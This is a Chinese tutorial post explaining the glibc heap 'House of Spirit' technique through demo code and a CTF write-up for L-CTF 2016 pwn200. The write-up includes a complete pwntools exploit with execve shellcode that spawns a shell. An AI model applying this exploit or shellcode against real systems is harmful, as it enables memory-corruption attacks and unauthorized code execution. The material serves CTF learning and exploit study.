Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】堆之House of Spirit

$
0
0
【技术分享】堆之House of Spirit

2017-01-18 15:04:11
来源:安全客 作者:ray_cp

阅读:851次
点赞(0)
收藏





【技术分享】堆之House of Spirit
作者:ray_cp

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

终于做到了这里,一直听说什么house of lore、house of spirit什么的,之前一直不会,只是听听。到湖湘杯的时候里面有一题note,最后是用这个house of spirit解决掉的,比赛结束以后决定花时间把这个给好好的看看,也拿一道题做例子来实践实践,题是l-ctf2016的题,分析了堆的部分源码,看了几篇大牛的文章,最后pwn成功了,于是就有了这篇总结。掌握这个技巧前提是对堆的结构以及管理需要一定的了解,不懂的可以在网上找一些资料去补补。

House of Spirit原理

House of Spirit(下面称为hos)算是一个组合型漏洞的利用,是变量覆盖和堆管理机制的组合利用,关键在于能够覆盖一个堆指针变量,使其指向可控的区域,只要构造好数据,释放后系统会错误的将该区域作为堆块放到相应的fast bin里面,最后再分配出来的时候,就有可能改写我们目标区域。还是像以前一样,先上一段代码给大家一个直观印象再具体解释,这段代码是shellfish的github里面的源码。
#include<stdio.h> #include<stdlib.h> intmain() { printf("Thisfiledemonstratesthehouseofspiritattack.\n"); printf("Callingmalloc()oncesothatitsetsupitsmemory.\n"); malloc(1); printf("Wewillnowoverwriteapointertopointtoafake'fastbin'region.\n"); unsignedlonglong*a; unsignedlonglongfake_chunks[10]__attribute__((aligned(16))); printf("Thisregionmustcontaintwochunks.Thefirststartsat%pandthesecondat%p.\n",&fake_chunks[1],&fake_chunks[7]); printf("Thischunk.sizeofthisregionhastobe16morethantheregion(toaccomodatethechunkdata)whilestillfallingintothefastbincategory(<=128).ThePREV_INUSE(lsb)bitisignoredbyfreeforfastbin-sizedchunks,howevertheIS_MMAPPED(secondlsb)andNON_MAIN_ARENA(thirdlsb)bitscauseproblems.\n"); printf("...notethatthishastobethesizeofthenextmallocrequestroundedtotheinternalsizeusedbythemallocimplementation.E.g.onx64,0x30-0x38willallberoundedto0x40,sotheywouldworkforthemallocparameterattheend.\n"); fake_chunks[1]=0x40;//thisisthesize printf("Thechunk.sizeofthe*next*fakeregionhasbeabove2*SIZE_SZ(16onx64)butbelowav->system_mem(128kbbydefaultforthemainarena)topassthenextsizeintegritychecks.\n"); fake_chunks[9]=0x2240;//nextsize printf("Nowwewilloverwriteourpointerwiththeaddressofthefakeregioninsidethefakefirstchunk,%p.\n",&fake_chunks[1]); printf("...notethatthememoryaddressofthe*region*associatedwiththischunkmustbe16-bytealigned.\n"); a=&fake_chunks[2]; printf("Freeingtheoverwrittenpointer.\n"); free(a); printf("Nowthenextmallocwillreturntheregionofourfakechunkat%p,whichwillbe%p!\n",&fake_chunks[1],&fake_chunks[2]); printf("malloc(0x30):%p\n",malloc(0x30)); } A、hos的经典利用场景的条件如下

(1)想要控制的目标区域的前段空间与后段空间都是可控的内存区域

一般来说想要控制的目标区域多为返回地址或是一个函数指针,正常情况下,该内存区域我们输入的数据是无法控制的,想要利用hos攻击技术来改写该区域,首先需要我们可以控制那片目标区域的前面空间和后面空间,示意图如下。


【技术分享】堆之House of Spirit

(2)存在可将堆变量指针覆盖指向为可控区域,即上一步中的区域

B、利用思路

(1)伪造堆块

看了上面的两个情景,反应快的人可能明白了hos的主要意图了,那就是,在可控1及可控2构造好数据,将它伪造成一个fastbin。

(2)覆盖堆指针指向上一步伪造的堆块。

(3)释放堆块,将伪造的堆块释放入fastbin的单链表里面。

(4)申请堆块,将刚刚释放的堆块申请出来,最终使得可以往目标区域中写入数据,实现目的。

需要说明的是第一步中的伪造堆块的过程,fastbin是一个单链表结构,遵循FIFO的规则,32位系统中fastbin的大小是在16~64字节之间,64位是在32~128字节之间。释放时会进行一些检查,所以需要对伪堆块中的数据进行构造,使其顺利的释放进到fastbin里面,看堆free过程中相关的源代码。

void public_fREe(Void_t*mem) { mstatear_ptr; mchunkptrp;/*chunkcorrespondingtomem*/ [...] p=mem2chunk(mem); #ifHAVE_MMAP if(chunk_is_mmapped(p))/*首先M标志位不能被置上才能绕过。releasemmappedmemory.*/ { munmap_chunk(p); return; } #endif ar_ptr=arena_for_chunk(p); [...] _int_free(ar_ptr,mem); 首先mmap标志位不能被置上,否则会直接调用munmap_chunk函数去释放堆块。
void _int_free(mstateav,Void_t*mem) { mchunkptrp;/*chunkcorrespondingtomem*/ INTERNAL_SIZE_Tsize;/*itssize*/ mfastbinptr*fb;/*associatedfastbin*/ [...] p=mem2chunk(mem); size=chunksize(p); [...] /* Ifeligible,placechunkonafastbinsoitcanbefound andusedquicklyinmalloc. */ if((unsignedlong)(size)<=(unsignedlong)(av->max_fast)/*其次,size的大小不能超过fastbin的最大值*/ #ifTRIM_FASTBINS /* IfTRIM_FASTBINSset,don'tplacechunks borderingtopintofastbins */ &&(chunk_at_offset(p,size)!=av->top) #endif ){ if(__builtin_expect(chunk_at_offset(p,size)->size<=2*SIZE_SZ,0) ||__builtin_expect(chunksize(chunk_at_offset(p,size)) >=av->system_mem,0))/*最后是下一个堆块的大小,要大于2*SIZE_ZE小于system_mem*/ { errstr="free():invalidnextsize(fast)"; gotoerrout; } [...] fb=&(av->fastbins[fastbin_index(size)]); [...] p->fd=*fb; } 其次是伪造堆块的size字段不能超过fastbin的最大值,超过的话,就不会释放到fastbin里面了。

最后是下一个堆块的大小,要大于2*SIZE_ZE小于system_mem,否则会报invalid next size的错误。

对应到伪造堆块那张示意图来说,需要在可控区域1中伪造好size字段绕过第一个和第二个检查,可控区域2则是伪造的是下一个堆块的size来绕过最后一个检查。

所以总的来说,hos的主要意思是我们想要控制的区域控制不了,但它前面和后面都可以控制,所以伪造好数据将它释放到fastbin里面,后面将该内存区域当做堆块申请出来,致使该区域被当做普通的内存使用,从而目标区域就变成了可控的了。


l-ctf2016--pwn200

hos原理就是上面讲的,下面就是具体的实践,我所知道的是l-ctf2016的pwn200和湖湘杯的note,考察的都是这个技能点。下面主要是用l-ctf2016的pwn200来讲述这题。

还是先从程序功能说起。

A、程序功能


【技术分享】堆之House of Spirit

【技术分享】堆之House of Spirit

先是输入用户名,这里有个off-by-one漏洞,输入48个字符即可泄露出rbp栈的地址。


【技术分享】堆之House of Spirit

【技术分享】堆之House of Spirit

【技术分享】堆之House of Spirit

接着输入id,这里让我无语的是ida在给我反编译的时候,input_num返回的值并没有保存在某个内存区域里面,导致后面饶了很大一圈找不到可以伪造的区域绕过检查,后面在汇编窗口看到,是有保存返回值的(图里面的var38便是保存返回值的地方),所以说IDA的反编译插件也不可全信啊。这个id对应的就是前面说的可控区域2。


【技术分享】堆之House of Spirit

【技术分享】堆之House of Spirit

最后输入money,可以看到输入的money可以覆盖到dest堆指针,这正是满足了前面说的可以覆盖堆指针的条件。同时这里保存money的区域也就是前面说的可控区域1。完成前面三个步骤后,进到循环之中。check in函数功能如下,判断全局变量ptr是否为空,是的话,输入size,malloc申请空间。


【技术分享】堆之House of Spirit

check out函数的功能是简单的调用free函数释放空间,将全局指针置0.


【技术分享】堆之House of Spirit

B、查看防护机制

首先查看开启的安全机制


【技术分享】堆之House of Spirit

可以看到,基本上什么保护都没开,可以直接在堆栈中部署shellcode,只要泄露出堆栈地址,并控制函数流执行到shellcode就可以了。

C、利用思路

先看下官方出题人写的wp(个人觉得wp写的有点点问题)。

1. 首先泄露出栈地址,然后覆盖堆指针为栈上的可控区域,我们可以精巧的构造这块区域成一个伪造的堆块,之后通过free,这个堆块即被加入到了fastbin中,然后再通过malloc,即可对这个堆块的空间进行任意写,这时只要覆盖栈上的返回地址为一个jmp rsp,再通过一个short jmp,来执行shellcode,即可获得shell

2. 另外,在构造堆块时,同时要构造好相邻的下一个堆块的头部,使得其prev_inuse == 1(在free的时候会检查)

3. (其实这个漏洞利用的过程也叫house-of-spirit)

4. 然而。事实上由于我的疏忽,可以直接覆盖指针为got表函数的地址,然后strcpy修改got表函数的地址,即可执行shellcode,sigh:(

这题有比较简单的解法,但为了说明hos,还是按照hos的步骤来具体说明。

(1)获取堆栈地址


【技术分享】堆之House of Spirit

前面说过,输入name时可以利用off-by-one泄露堆栈地址,name输入时不会使用'\x00'截断,如果输入48个字符,最终打印时会将rbp中的值打印出来。

(2)伪造堆块

伪造堆块的过程示意图如下,在money中输入的是伪堆块的size,在id里输入的是下一个堆块的size,以此绕过free释放堆块时候系统的检查。


【技术分享】堆之House of Spirit

(3)覆盖堆指针,在输入money的时候,会覆盖堆块。

(4)调用free函数将伪堆块释放到fastbin中

(5)申请堆块,将刚刚的伪堆块申请出来

(6)输入数据,即可修改目标区域,eip,使其指向shellcode。control the world~

D、最终exp

exp最终如下,里面还有部分注释。

frompwnimport* fromctypesimport* DEBUG=1 ifDEBUG: p=process('./pwn200') else: r=remote('172.16.4.93',13025) shellcode="" shellcode+="\x31\xf6\x48\xbb\x2f\x62\x69\x6e" shellcode+="\x2f\x2f\x73\x68\x56\x53\x54\x5f" shellcode+="\x6a\x3b\x58\x31\xd2\x0f\x05" defpwn(): #gdb.attach(p,"b*0x400991") #####off-by-one泄露栈地址 data='aaaaaaaa'+shellcode data=data.ljust(46,'a') data+='bb' p.send(data) p.recvuntil('bb') rbp_addr=p.recvuntil(',w')[:-3] rbp_addr=u64(rbp_addr.ljust(8,'\x00')) printhex(rbp_addr) fake_addr=rbp_addr-0x90 shellcode_addr=rbp_addr-0x48 ###输入id伪造下一个堆块的size p.recvuntil('id~~?') p.send('32'+'\n') p.recvuntil('money~') data=p64(0)*4+p64(0)+p64(0x41)####伪造堆块的size data=data.ljust(0x38,'\x00')+p64(fake_addr)####覆盖堆指针 p.send(data) p.recvuntil('choice:') p.send('2'+'\n')####释放伪堆块进入fastbin p.recvuntil('choice:') p.send('1'+'\n') p.recvuntil('long?') p.send('48\n') p.recvuntil('\n48\n')#####将伪堆块申请出来 data='a'*0x18+p64(shellcode_addr)#####将eip修改为shellcode的地址 data=data.ljust(48,'\x00') p.send(data) p.recvuntil('choice:') p.send('3\n')####退出返回时会去执行shellcode p.interactive() if__name__=='__main__': pwn() 执行结果:

【技术分享】堆之House of Spirit

小结

到这里这个hos算是讲完了,是自己的一个小总结,也希望对大家有点帮助吧。说到底,主要是在于目标区域(函数指针)不可控制,而它前面和后面的数据可以用来将这片内存伪造成一个堆块,释放从而进入到fastbin里面,最后再申请出来,从而实现控制目标区域的目的。

一步一步走来,感觉做堆的题最主要的还是要把堆管理的源码多看看,搞明白了以后,其他的学起来就好搞了。后面还有很多要看要学,继续前进。


参考文章

x86 Exploitation 101: “House of Spirit” – Friendly stack overflow

【CTF攻略】L-CTF 2016 官方 Writeup

MALLOC DES-MALEFICARUM

how2heap/house_of_spirit.c



【技术分享】堆之House of Spirit
【技术分享】堆之House of Spirit
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3417.html

Viewing all articles
Browse latest Browse all 12749

Trending Articles